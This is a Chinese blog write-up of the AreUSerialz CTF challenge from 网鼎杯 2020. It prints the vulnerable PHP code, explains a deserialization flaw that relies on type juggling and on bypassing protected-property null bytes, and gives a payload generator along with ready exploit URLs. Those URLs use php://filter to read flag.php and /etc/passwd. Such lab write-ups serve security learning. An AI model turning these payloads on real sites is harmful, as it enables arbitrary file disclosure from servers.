[网鼎杯 2020 青龙组]AreUSerialz
[网鼎杯 2020 青龙组]AreUSerialz
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 | <?php include ( "flag.php" ); highlight_file( __FILE__ ); class FileHandler { protected $op ; protected $filename ; protected $content ; function __construct() { $op = "1" ; $filename = "/tmp/tmpfile" ; $content = "Hello World!" ; $this ->process(); } public function process() { if ( $this ->op == "1" ) { $this ->write(); } else if ( $this ->op == "2" ) { $res = $this ->read(); $this ->output( $res ); } else { $this ->output( "Bad Hacker!" ); } } private function write() { if (isset( $this ->filename) && isset( $this ->content)) { if ( strlen ((string) $this ->content) > 100) { $this ->output( "Too long!" ); die (); } $res = file_put_contents ( $this ->filename, $this ->content); if ( $res ) $this ->output( "Successful!" ); else $this ->output( "Failed!" ); } else { $this ->output( "Failed!" ); } } private function read() { $res = "" ; if (isset( $this ->filename)) { $res = file_get_contents ( $this ->filename); } return $res ; } private function output( $s ) { echo "[Result]: <br>" ; echo $s ; } function __destruct() { if ( $this ->op === "2" ) $this ->op = "1" ; $this ->content = "" ; $this ->process(); } } function is_valid( $s ) { for ( $i = 0; $i < strlen ( $s ); $i ++) if (!(ord( $s [ $i ]) >= 32 && ord( $s [ $i ]) <= 125)) return false; return true; } if (isset( $_GET { 'str' })) { $str = (string) $_GET [ 'str' ]; if (is_valid( $str )) { $obj = unserialize( $str ); } } |
PHP反序列化漏洞,比赛的时候做出来了,在buuoj上再复现记录一下。
查看代码可以看出来,GET方式传入序列化的str字符串,str字符串中每一个字符的ASCII范围在32到125之间,然后对其反序列化。
在反序列化的过程中,调用__destruct析构方法
1 2 3 4 5 6 | function __destruct() { if ( $this ->op === "2" ) $this ->op = "1" ; $this ->content = "" ; $this ->process(); } |
如果op==="2",将其赋为"1",同时content赋为空,进入process函数,需要注意到的地方是,这里op与"2"比较的时候是强类型比较
1 2 3 4 5 6 7 8 9 10 | public function process() { if ( $this ->op == "1" ) { $this ->write(); } else if ( $this ->op == "2" ) { $res = $this ->read(); $this ->output( $res ); } else { $this ->output( "Bad Hacker!" ); } } |
进入process函数后,如果op=="1",则进入write函数,若op=="2",则进入read函数,否则输出报错,可以看出来这里op与字符串的比较变成了弱类型比较==。
所以我们只要令op=2,这里的2是整数int。当op=2时,op==="2"为false,op=="2"为true,接着进入read函数
1 2 3 4 5 6 7 | private function read() { $res = "" ; if (isset( $this ->filename)) { $res = file_get_contents ( $this ->filename); } return $res ; } |
filename是我们可以控制的,接着使用file_get_contents函数读取文件,我们此处借助php://filter伪协议读取文件,获取到文件后使用output函数输出
1 2 3 4 | private function output( $s ) { echo "[Result]: <br>" ; echo $s ; } |
整个利用思路就很明显了,还有一个需要注意的地方是,$op,$filename,$content三个变量权限都是protected,而protected权限的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid函数校验。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 | <?php class FileHandler { protected $op =2; protected $filename = "php://filter/read=convert.base64-encode/resource=flag.php" ; protected $content ; function __construct() { $op = "1" ; $filename = "/tmp/tmpfile" ; $content = "Hello World!" ; // $this->process(); } public function process() { if ( $this ->op == "1" ) { $this ->write(); } else if ( $this ->op == "2" ) { $res = $this ->read(); $this ->output( $res ); } else { $this ->output( "Bad Hacker!" ); } } private function write() { if (isset( $this ->filename) && isset( $this ->content)) { if ( strlen ((string) $this ->content) > 100) { $this ->output( "Too long!" ); die (); } $res = file_put_contents ( $this ->filename, $this ->content); if ( $res ) $this ->output( "Successful!" ); else $this ->output( "Failed!" ); } else { $this ->output( "Failed!" ); } } private function read() { $res = "" ; if (isset( $this ->filename)) { $res = file_get_contents ( $this ->filename); } return $res ; } private function output( $s ) { echo "[Result]: <br>" ; echo $s ; } function __destruct() { if ( $this ->op === "2" ) $this ->op = "1" ; $this ->content = "" ; // $this->process(); } } $A = new FileHandler(); $B =serialize( $A ); echo $B ; |
运行之后,这三个箭头指向的地方字符显示不正确的地方就是%00字符
在这里有几种绕过的方式,简单的一种是:php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可
即:
1 2 3 | public $op =2; public $filename = "php://filter/read=convert.base64-encode/resource=flag.php" ; public $content ; |
现在得到的结果就没有%00字符了
buuoj平台复现的话使用上面这个payload就已经可以读取flag了:
1 | http: //82f3c803-c285-4d4c-846c-59d240b730e0.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;s:7:%22content%22;N;} |
比赛的时候还有相对路径和绝对路径的问题,需要拿到绝对路径才能读取flag
可以先尝试读取/etc/passwd检验自己的payload是否正确,然后再读取服务器上的配置文件,猜出flag.php所在的绝对路径,再将其读取。
1 | http: //82f3c803-c285-4d4c-846c-59d240b730e0.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:60:%22php://filter/read=convert.base64-encode/resource=/etc/passwd%22;s:7:%22content%22;N;} |
下面这个payload是比赛的时候用的,buuoj上环境路径不一样。
1 | http: //82f3c803-c285-4d4c-846c-59d240b730e0.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:67:%22php://filter/read=convert.base64-encode/resource=/web/html/flag.php%22;s:7:%22content%22;N;} |
以上。
__EOF__

本文链接:https://www.cnblogs.com/Cl0ud/p/12874458.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!